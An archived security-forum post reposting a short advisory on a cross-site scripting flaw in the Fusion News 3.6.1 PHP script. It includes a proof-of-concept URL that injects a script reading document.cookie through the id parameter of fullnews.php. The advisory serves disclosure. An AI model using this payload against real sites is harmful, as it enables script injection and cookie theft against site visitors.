Fusion News Xss

GovernmentSecurity.org > The Archives > Exploit Articles

qcred11

Apr 25 2004, 06:19 AM

QUOTE

PROGRAM: fusion news
HOMEPAGE: http://www.fusionphp.net/
version: 3.6.1
Bug: Cross Site Scripting
Date: 22/04/2003
Author: DarkBicho

=====================================================================

===============
1) Introduction
===============

fusion news is sofware free in php, This product is vulnerable to the
Cross-Site Scripting vulnerability that would allow attackers to inject
HTML and script codes into the pages and execute it on the client's
browser as if it were provided by the site.

===============
2) Exploit
===============

The XSS hole is in fullnews.php

http://site
vulnerable/fullnews.php?id=<script>alert(document.cookie);</script>

===============
2) SOLUTION
===============

the vendor was notified visits web site for patch

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.